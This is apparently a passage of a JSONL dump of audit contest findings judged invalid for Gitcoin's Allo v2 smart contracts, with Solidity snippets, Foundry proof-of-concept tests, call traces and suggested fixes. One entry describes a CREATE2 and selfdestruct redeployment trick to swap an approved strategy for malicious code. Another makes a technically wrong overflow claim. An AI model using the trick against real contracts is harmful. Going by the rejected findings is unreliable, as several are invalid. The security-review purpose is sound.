Set the new name\n profile.name = _name;\n\n // Remove old anchor\n+ address oldAnchor = profile.anchor;\n- anchorToProfileId[profile.anchor] = bytes32(0);\n\n+ if(oldAnchor != anchor) {\n+ delete anchorToProfileId[OldAnchor];\n+ Anchor(oldAnchor).recoverFunds(anchor);\n\n // Set the new anchor\n profile.anchor = anchor;\n anchorToProfileId[anchor] = _profileId;\n\n // Emit the event that the name was updated with the new data\n emit ProfileNameUpdated(_profileId, _name, anchor);\n+}\n\n // Return the new anchor\n return anchor;\n }\n\n function recoverFunds(address _recipient) external {\n if (msg.sender != registry) revert Not_called_by_registry();\n\n _transferAmount( NATIVE, _recipient, address(this).balance);\n }\n\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/079.md"}} +{"title":"Users may lock themselves in Strategy contracts","severity":"info","body":"Gigantic Honey Starling\n\nmedium\n\n# Users may lock themselves in Strategy contracts\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L87\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L363\n\nIn strategy contracts it is mentioned in comments the passed time must be in milliseconds while it is comparing it with block.timestamp wich is in seconds not milliseconds\n\n## Vulnerability Detail\n\nPool managers should set `registrationStartTime` , `registrationEndTime`, `allocationStartTime` and `allocationEndTime` in order to use Strategy functionalities and it is mentioned in comments that passed value must be in milliseconds\n\nDonationVotingMerkleDistributionBaseStrategy.sol => Line 363 :\n> @dev The timestamps are in milliseconds for the start and end times.\n\nQVBaseStrategy.sol => Line 87 : \n> @dev The values will be in milliseconds since the epoch\n\nThis is while these values are compared to `block.timestamp` which is in seconds not milliseconds. after miliseconds values got set : in order to use Strategy functionalities `onlyActiveRegistration`, `onlyActiveAllocation` and `onlyAfterAllocation` modifiers are used to check whether the called function is accessible or not, these modifiers make internal call and compare the milisecond values with block.timestam(seconds) and if the check fails the tx will revert.\n\nFor sure it will revert since miliseconds is *1000 bigger than seconds.\n\n## Impact\n\nImagine a user who is told to pass the times as miliseconds want to set `registrationStartTime` to 10 days which is equal to 864,000,000\nmiliseconds, after seting it s/he want to call `_registerRecipient` which has `onlyActiveRegistration` modifier, this modifier checks the miliseconds with the current block.timestamp (seconds) in other words with the check you consider their value as seconds.\n\nuser wanted 10 days but 864,000,000 sec == 10000 days And the check will revert the call\n\nThis leads to user's strategy contract get locked if they don't notice the problem.\n\nIf you also have frontend web app which sends the times as miliseconds this will cause a problem too.\n\n## Code Snippet\n\nThese are the interanl functions that's called from modifiers (it is the same in both DonationVotingMerkleDistributionBaseStrategy and QVBaseStrategy)\n```solidity\nFile: allo-v2\\contracts\\strategies\\donation-voting-merkle-base\\DonationVotingMerkleDistributionBaseStrategy.sol\n457: function _checkOnlyActiveRegistration() internal view {\n458: if (registrationStartTime > block.timestamp || block.timestamp > registrationEndTime) {\n459: revert REGISTRATION_NOT_ACTIVE();\n460: }\n461: }\n462: \n...\n465: function _checkOnlyActiveAllocation() internal view {\n466: if (allocationStartTime > block.timestamp || block.timestamp > allocationEndTime) {\n467: revert ALLOCATION_NOT_ACTIVE();\n468: }\n469: }\n470: \n...\n473: function _checkOnlyAfterAllocation() internal view {\n474: if (block.timestamp < allocationEndTime) {\n475: revert ALLOCATION_NOT_ENDED();\n476: }\n477: }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nMake sure passed timestamps are in seconds","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/077.md"}} +{"title":"poolAmount is not reduced after distribution in QV Strategy","severity":"info","body":"Gigantic Honey Starling\n\nhigh\n\n# poolAmount is not reduced after distribution in QV Strategy\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465\n\n`poolAmount` (balance of contract) is not reduced after distribution in QV Strategy contract\n\n## Vulnerability Detail\n\nIn Strategy contracts whenever the contract receives funds, the sent amount value gets added to `poolAmount` var to cache balance of the strategy also whenever funds go out from contract (distribute/withdraw) the `poolAmount` is reduced.\nthis is handled in all of strategy contracts **except [QVBaseStrategy](https://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/qv-base/QVBaseStrategy.sol) contract** which doesn't reduce the `poolAmount` in `_distribute` function.\n\nIn this strategy poolAmount is used to calculate the amount that should be paid to target recipient via internal call to `_getPayout` function, after it calculated the amount it transfers the amount to recipient but it doesn't reduce the `poolAmount`.\n\nIf poolAmount is 100 USDC and 40 USDC is distributed to a recipient the poolAmount will still 100 USDC while contract's balance is 60 USDC and `_getPayout` will return bigger value for next distributions.\n\n## Impact\n\nThis leads to some recipients get paid more funds that they dont't deserve and some don't even get anything since the `_getPayout` returns bigger value but it reverts because lack of balance while transfering the assets.\n\n## Code Snippet\n_distribute function \n```solidity\nFile: allo-v2\\contracts\\strategies\\qv-base\\QVBaseStrategy.sol\n436: function _distribute(address[] memory _recipientIds, bytes memory, address _sender)\n437: internal\n438: virtual\n439: override\n440: onlyPoolManager(_sender)\n441: onlyAfterAllocation\n442: {\n443: uint256 payoutLength = _recipientIds.length;\n444: for (uint256 i; i < payoutLength;) {\n445: address recipientId = _recipientIds[i];\n446: Recipient storage recipient = recipients[recipientId];\n447: \n448: PayoutSummary memory payout = _getPayout(recipientId, \"\");\n449: uint256 amount = payout.amount;\n450: \n451: if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n452: revert RECIPIENT_ERROR(recipientId);\n453: }\n454: \n455: IAllo.Pool memory pool = allo.getPool(poolId);\n456: _transferAmount(pool.token, recipient.recipientAddress, amount);\n457: \n458: paidOut[recipientId] = true;\n459: \n460: emit Distributed(recipientId, recipient.recipientAddress, amount, _sender);\n461: unchecked {\n462: ++i;\n463: }\n464: }\n465: }\n```\n_getPayout function:\n```solidity\nFile: allo-v2\\contracts\\strategies\\qv-base\\QVBaseStrategy.sol\n559: function _getPayout(address _recipientId, bytes memory)\n560: internal\n561: view\n562: virtual\n563: override\n564: returns (PayoutSummary memory)\n565: {\n566: Recipient memory recipient = recipients[_recipientId];\n567: \n568: // Calculate the payout amount based on the percentage of total votes\n569: uint256 amount;\n570: if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n571: amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n572: }\n573: return PayoutSummary(recipient.recipientAddress, amount);\n574: }\n```\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\nReduce the the `poolAmount` by the amount returned from _getPayout function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/076.md"}} +{"title":"User can redeploy a malicious strategy with create2 after the original strategy was approved/cloneable","severity":"info","body":"Fantastic Banana Turkey\n\nhigh\n\n# User can redeploy a malicious strategy with create2 after the original strategy was approved/cloneable\nUser can create a malicious strategy with create2 after it was approved/cloneable\n## Vulnerability Detail\nAfter a user creates seemingly harmless strategy (using CREATE2), the owner likes it and makes it clonable/approved. After the strategy has been cloned enough times, the user selfdestructs the contract with the strategy and using CREATE2 deploys a malicious strategy at the same address the owner has approved.\n\nExample:\nDeployerDeployer -- create2 -> Deployer -- create --> Strategy\nAfter it was approved the attacker selfdestructs both the current Deployer and Strategy contracts and deploys the same Deployer and different strategy at the same address:\nDeployerDeployer -- create2 -> Deployer -- create --> Malicious strategy\n\nThe address when using 'create' is the same because it compiles the following way:\nlast 20 bytes of sha3(rlp(sender addr, nonce))\nThe sender (Deployer contract) is always with the same address as it is being deployed with create2\nThe nonce is the number of transactions of sender (Deployer contract)\nWhen we first deploy the strategy contract using create the nonce of the deployer contract is e.g 0. (So address is the same and the nonce is 0)\nIn order to get the nonce to 0 again (to successfully deploy the contract at the same address) the attacker deletes the deployer contract, resetting its nonce to 0 when redeployed.\nSo in the end the nonce is 0, (as used in deploying the proposal strategy) and the deployer contract address is the same, which compiles in the same address of the proposal strategy but with different code.\n## Impact\nPotential Loss of funds, DOS\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L241-L246\n## Tool used\n\nManual Review\n\n## Recommendation\nReconsider a new approach to tackle this issue","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/075.md"}} +{"title":"Denial of Service and Fund Lockup Risks Associated with 'CreatePOOL()' Function","severity":"info","body":"Young Tartan Woodpecker\n\nmedium\n\n# Denial of Service and Fund Lockup Risks Associated with 'CreatePOOL()' Function\nExecuting `_createPool()` can result in a denial of service for users who send precisely the specified Ether amount as the base fee and can lead to the native funds being trapped within the `allo.sol` contract for users who send an excess of the required base fee.\n## Vulnerability Detail\n1) Denial of Service (DoS) Risk: When users send precisely the exact Ether amount required as the base fee, the 'CreatePOOL()' function can potentially lead to a denial of service situation. This occurs because the function's logic\n https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n handle transactions with precisely matched values to fail with NOT_ENOUGH_FUNDS() which is not consistent because users might have sent the exact funds and causing these transactions to fail and frustrate users.\n\n2) Native Fund Lockup: On the other hand, users who mistakenly send more Ether than the required base fee may encounter a fund lockup issue. The 'CreatePOOL()' function does not appear to handle excess Ether gracefully, which can result in users' funds becoming trapped within the 'allo.sol' contract. This can lead to financial losses and a poor user experience, as users are unable to retrieve their surplus Ether immediately and the revokeFund logic is not implemented to favour multiple users getting their fund stucked .\n\n## Impact\n1) Users not being able to call the function successfully with exact base value if set.\n2) Users who are able to call the function successfully do that by sending excess ether which get their fund stuck in the Allo.sol \n\n\n## Code Snippet\n #the affected logic\n https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n Poc\n \nImport console and Add the function below to allo.t.sol .\n\n run with `forge t --mt test_createPoolWithExactBaseFee -vvvvv` to get NOT_ENOUGH_FUNDS error .\n\nthe function below createPool with exact base fee and got the NOT_ENOUGH_FUNDS() error\n\n```solidity\n function test_createPoolWithExactBaseFee() public {\n uint256 baseFee = 1e17;\n\n allo().updateBaseFee(baseFee);\n\n vm.deal(address(pool_admin()), 1e18);\n console.log(address(allo()).balance);\n vm.prank(pool_admin());\n allo().createPoolWithCustomStrategy{value: 1e17}(\n poolProfile_id(),\n strategy,\n \"0x\",\n NATIVE,\n 0,\n metadata,\n pool_managers()\n );\n\n console.log(address(allo()).balance);\n }\n```\n```std out\ncall trace: \n ā”œā”€ [316224] Allo::createPoolWithCustomStrategy{value: 100000000000000000}(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 0x3078, 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 0, (1, strategy pointer), [0x05800FAD118693c398e4E1ceFBb1FAC54537b107, 0xF49D32655a289163297342376EA91F6434cff60f]) \n ā”‚ ā”œā”€ [2696] Registry::isOwnerOrMemberOfProfile(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1, account: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleAdminChanged(role: 0x0000000000000000000000000000000000000000000000000000000000000001, previousAdminRole: 0x0000000000000000000000000000000000000000000000000000000000000000, newAdminRole: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1)\n ā”‚ ā”œā”€ [22923] MockStrategy::initialize(1, 0x3078) \n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [304] MockStrategy::getPoolId() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† 1\n ā”‚ ā”œā”€ [237] MockStrategy::getAllo() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f]\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā””ā”€ ā† \"NOT_ENOUGH_FUNDS()\"\n ā””ā”€ ā† \"NOT_ENOUGH_FUNDS()\"\n```\n\nThe function below sent 1e18 ether along with the function call and log out allo balance before and after the call to validate how much is stuck in allo() .\n run with `forge t --mt test_createPoolWithBaseFee -vvvvv` to see the stuck funds in your call traces.\n\n ```solidity\n function test_createPoolWithBaseFee() public {\n uint256 baseFee = 1e17;\n\n allo().updateBaseFee(baseFee);\n\n vm.expectEmit(true, false, false, true);\n emit BaseFeePaid(1, baseFee);\n\n vm.deal(address(pool_admin()), 1e18);\n console.log(address(allo()).balance);\n vm.prank(pool_admin());\n allo().createPoolWithCustomStrategy{value: 1e18}(\n poolProfile_id(),\n strategy,\n \"0x\",\n NATIVE,\n 0,\n metadata,\n pool_managers()\n );\n\n console.log(address(allo()).balance);\n }\n\n```\n\n```repl\nLogs:\n 0 => Balance of Allo before the call\n 900000000000000000 =>Balance of Allo after the call.\n trace:\n ā”œā”€ [358700] Allo::createPoolWithCustomStrategy{value: 1000000000000000000}(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 0x3078, 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 0, (1, strategy pointer), [0x05800FAD118693c398e4E1ceFBb1FAC54537b107, 0xF49D32655a289163297342376EA91F6434cff60f]) \n ā”‚ ā”œā”€ [2696] Registry::isOwnerOrMemberOfProfile(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1, account: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleAdminChanged(role: 0x0000000000000000000000000000000000000000000000000000000000000001, previousAdminRole: 0x0000000000000000000000000000000000000000000000000000000000000000, newAdminRole: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1)\n ā”‚ ā”œā”€ [22923] MockStrategy::initialize(1, 0x3078) \n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [304] MockStrategy::getPoolId() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† 1\n ā”‚ ā”œā”€ [237] MockStrategy::getAllo() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f]\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ [0] allo_treasury::fallback{value: 100000000000000000}() \n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit BaseFeePaid(poolId: 1, amount: 100000000000000000 [1e17])\n ā”‚ ā”œā”€ emit PoolCreated(poolId: 1, profileId: 0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, strategy: MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], token: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, amount: 0, metadata: (1, strategy pointer))\n ā”‚ ā””ā”€ ā† 1\n ā”œā”€ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000c7d713b49da0000) [staticcall]\n ā”‚ ā””ā”€ ā† ()\n ā””ā”€ ā† ()\n```\n\nThe Function Above show the logs and call traces of the balance before and after the call in the terminal which proof stuck of fund for all successful call to` createpool()`\n\n## Tool used\n\nManual Review and Foundry\n\n## Recommendation\nAllo Team should implement a refund logic that send excess of ether back to users to avoid their funds getting stuck all the time and also since the base fee is paid in Native token only, the if logic below should be changed ;\n ```solidity\n \nif ( (_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value))\n\n//can be replaced with\n\n if (baseFee < msg.value)\n\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/074.md"}} +{"title":"removeMembers in Registry might run out of gas","severity":"info","body":"Merry Cinnabar Orca\n\nmedium\n\n# removeMembers in Registry might run out of gas\nRemoveMembers in Registry.sol might run out of gas before revoking roles of all selected members.\n\n## Vulnerability Detail\nRegistry.sol , at line 306:\n```solidity\n function removeMembers(bytes32 _profileId, address[] memory _members) external onlyProfileOwner(_profileId) {\n uint256 memberLength = _members.length;\n\n // Loop through the members and remove them from the profile by revoking the role\n for (uint256 i; i < memberLength;) {\n // Revoke the role from the member and emit the event for each member\n _revokeRole(_profileId, _members[i]);\n unchecked {\n ++i;\n }\n }\n }\n```\nMight run out of gas in the for loop.\n## Impact\nWrong usage might lead to not properly removing members.\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Registry.sol#L306\n\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/073.md"}} +{"title":"QVBaseStrategy.sol#_distribute() Distributed amount is not subtracted from the poolAmount variable which leads to stuck of funds","severity":"info","body":"Suave Orchid Crab\n\nhigh\n\n# QVBaseStrategy.sol#_distribute() Distributed amount is not subtracted from the poolAmount variable which leads to stuck of funds\nDistributed amount is not subtracted from the poolAmount variable which leads to revert\n\n## Vulnerability Detail\nThe distributed amount in _distribute function is not subtracted from the poolAmount variable which is not a problem for the first distribute, but every second distribution would revert. \n\nFor example, poolAmount = 100 and pool manager executes _distribute. The pool manager funds the pool with a new 100 and executes _distribute() again. Since the first 100 distributions were not subtracted from the poolAmount, now poolAmount = 200. The pool manager wants to distribute 50% of the pool amount to one person, 30% to the second person, and 20% to the third person. 50% from 100 is 50, but as the poolAmount is 200 so 50% would be 100. As that's all of the pool's amount, there is nothing left for the second and third person so the transaction would fail and revert.\n\n## Impact\nThe function would revert and the funds would be stuck in the pool.\n\n## Code Snippet\n```solidity\n function _distribute(address[] memory _recipientIds, bytes memory, address _sender)\n internal\n virtual\n override\n onlyPoolManager(_sender)\n onlyAfterAllocation\n {\n uint256 payoutLength = _recipientIds.length;\n for (uint256 i; i < payoutLength;) {\n address recipientId = _recipientIds[i];\n Recipient storage recipient = recipients[recipientId];\n\n PayoutSummary memory payout = _getPayout(recipientId, \"\");\n uint256 amount = payout.amount;\n\n if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n paidOut[recipientId] = true;\n\n emit Distributed(recipientId, recipient.recipientAddress, amount, _sender);\n unchecked {\n ++i;\n }\n }\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465\n## Tool used\n\nManual Review\n\n## Recommendation\nSubtract the distributed amount\n\n```diff\nfunction _distribute(address[] memory _recipientIds, bytes memory, address _sender)\n internal\n virtual\n override\n onlyPoolManager(_sender)\n onlyAfterAllocation\n {\n uint256 payoutLength = _recipientIds.length;\n for (uint256 i; i < payoutLength;) {\n address recipientId = _recipientIds[i];\n Recipient storage recipient = recipients[recipientId];\n\n PayoutSummary memory payout = _getPayout(recipientId, \"\");\n uint256 amount = payout.amount;\n\n if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n\n+ poolAmount -= amount;\n\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n paidOut[recipientId] = true;\n\n emit Distributed(recipientId, recipient.recipientAddress, amount, _sender);\n unchecked {\n ++i;\n }\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/072.md"}} +{"title":"RFPSimpleStrategy `submitUpcomingMilestone` may submit the rejected status milestone","severity":"info","body":"Special Eggplant Falcon\n\nhigh\n\n# RFPSimpleStrategy `submitUpcomingMilestone` may submit the rejected status milestone\nThe RFPSimpleStrategy contract has a security vulnerability in the `submitUpcomingMilestone` method where it directly updates the status of a milestone to `Status.Pending` without performing any pre-status checks. This poses a risk because the milestone might have already been rejected.\n\n## Vulnerability Detail\nWithin the `submitUpcomingMilestone` function, the milestone is retrieved using `upcomingMileStone` as the array index, and its status are updated to `Status.Pending` without verifying the previous status. \nThis means that a milestone could be wrongly submitted even if it had previously been rejected. This vulnerability has a significant impact since, in the subsequent `_distribute` function, the incorrect payment will be distributed to the `recipientAddress`, leading to severe consequences.\n\n## Impact\n1. Incorrect Status Update: The vulnerability allows for the direct update of a milestone's status to `Status.Pending` without verifying its previous status. As a result, milestones that have already been rejected can be erroneously marked as pending, leading to a misrepresentation of their actual status. This can cause confusion and misinterpretation of the project's progress, potentially leading to incorrect decision-making or actions based on inaccurate information.\n2. Flawed Payment Distribution: The subsequent `_distribute` function relies on the correct status of milestones to determine payment distribution. With the vulnerability present, if a rejected milestone is wrongly marked as pending, incorrect payments will be disbursed to the associated recipientAddress. This can result in financial losses, payment discrepancies, and potential disputes between project stakeholders.\n\n## Code Snippet\n```solidity\n function submitUpcomingMilestone(Metadata calldata _metadata) external {\n // Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'\n if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n }\n\n // Check if the upcoming milestone is in fact upcoming\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n // Get the milestone and update the metadata and status\n Milestone storage milestone = milestones[upcomingMilestone];\n milestone.metadata = _metadata;\n\n // Set the milestone status to 'Pending' to indicate that the milestone is submitted\n milestone.milestoneStatus = Status.Pending;\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L253\n## Tool used\n\nManual Review\n\n## Recommendation\nBefore update milestone metadata and status, add check for previous of milestone.\n```solidity\n // Check if the upcoming milestone is in fact upcoming\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n \n // Get the milestone and update the metadata and status\n Milestone storage milestone = milestones[upcomingMilestone];\n // Check the milestone status\n if (milestone.milestoneStatus == Status.Rejected) {\n revert MILESTONE_ALREADY_REJECTED();\n }\n milestone.metadata = _metadata;\n\n // Set the milestone status to 'Pending' to indicate that the milestone is submitted\n milestone.milestoneStatus = Status.Pending;\n\n // Emit event for the milestone\n emit MilstoneSubmitted(upcomingMilestone);\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/071.md"}} +{"title":"poolIds array in batchAllocate function does not exceed a reasonable limit before using it in the loop cause an overflow","severity":"info","body":"Prehistoric Blue Coyote\n\nmedium\n\n# poolIds array in batchAllocate function does not exceed a reasonable limit before using it in the loop cause an overflow\n- In the batchAllocate function, this line is used to determine the number of pools to iterate through:\n`uint256 numPools = _poolIds.length;` and its the line that contain the issue.\n## Vulnerability Detail\nhere is the function :\n ```solidity\n function batchAllocate(uint256[] calldata _poolIds, bytes[] memory _datas) external nonReentrant {\n uint256 numPools = _poolIds.length;\n\n // Reverts if the length of _poolIds does not match the length of _datas with 'MISMATCH()' error\n if (numPools != _datas.length) revert MISMATCH();\n\n // Loop through the _poolIds & _datas and call the internal _allocate() function\n for (uint256 i; i < numPools;) {\n _allocate(_poolIds[i], _datas[i]);\n unchecked {\n ++i;\n }\n }\n }\n\n```\nThe problem is from the fact that the length property of an array returns a `uint256,` an unsigned integer in Solidity. The maximum value that a `uint256` can hold is `115792089237316195423570985008687907853269984665640564039457584007913129639935.` Attempting to create more than this number of pools would result in an overflow, effectively resetting the numPools variable to 0.\nWhen the number of _poolIds exceeds the maximum value of uint256, an overflow occurs, setting numPools to 0. This would cause the loop to terminate prematurely, and leading to unexpected behavior.\nand if an attacker can create a large number of _poolIds to trigger the overflow, causing the function to revert. This lead to DOS attack, as legitimate users may be unable to use the contract.\nhere is a simple scenario :\n- an attacker with malicious intent notices the issue in the function. and realize that the numPools variable is of type uint256, which has a maximum value.\n- The attacker decides to exploit this by creating an array of _poolIds that exceeds the maximum value of uint256. \n- Let's say they create an array with 2000 pool IDs: [1, 2, 3, ..., 2000].\n- When the batchAllocate function is called with this array, the numPools variable initially holds the value 2000, which is fine, as the loop iterates through the _poolIds, it encounters the `115792089237316195423570985008687907853269984665640564039457584007913129639936th` pool ID. This is where the problem arises.\n- Since uint256 cannot represent values beyond its maximum, an overflow occurs. As a result, the numPools variable wraps around to 0.\n- The loop, which was intended to iterate through 2000 pool IDs, now terminates after processing a part of them because numPools is reset to 0.\n- The attacker successfully executed a DoS attack on the contract.\n\n## Impact\n\nan attacker can create a large enough array of _poolIds, they can cause the batchAllocate function to overflow and terminate prematurely. This would prevent legitimate users from using the function, effectively performing a DOS attack.\n\n## Code Snippet\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L363\n## Tool used\nManual Review\n## Recommendation\n check that the length of the _poolIds array does not exceed a reasonable limit before using it in the loop.\nhere is an example :\n```solidity\nuint256 numPools = _poolIds.length;\n\n// Define a reasonable maximum number of pools\nuint256 MAX_POOL_IDS = 1000;\n\n// Check if numPools is within a reasonable range to prevent overflow\nrequire(numPools <= MAX_POOL_IDS, \"NumPools exceeds maximum allowed\");\n\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/069.md"}} +{"title":"Incorrect calculation of fees in the `Allo._createPool()` function","severity":"info","body":"Cuddly Pewter Shark\n\nmedium\n\n# Incorrect calculation of fees in the `Allo._createPool()` function\nIncorrect calculation of fees in the `Allo._createPool()` function.\n\n## Vulnerability Detail\nThe `Allo._createPool()` function verifies `msg.value` by the following condition: `(_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)`:\n\n```solidity\n\nif (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n}\n\n```\n\nPlease, pay special attention to the two `>=` signs, which indicates that a tx with `msg.value` == `baseFee`, for example, is invalid.\nThe comment above the condition states that such logic is wrong.\n\n## PoC\n```solidity\n// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity ^0.8.19;\n\nimport \"forge-std/Test.sol\";\nimport \"../core/Allo.t.sol\";\n\ncontract 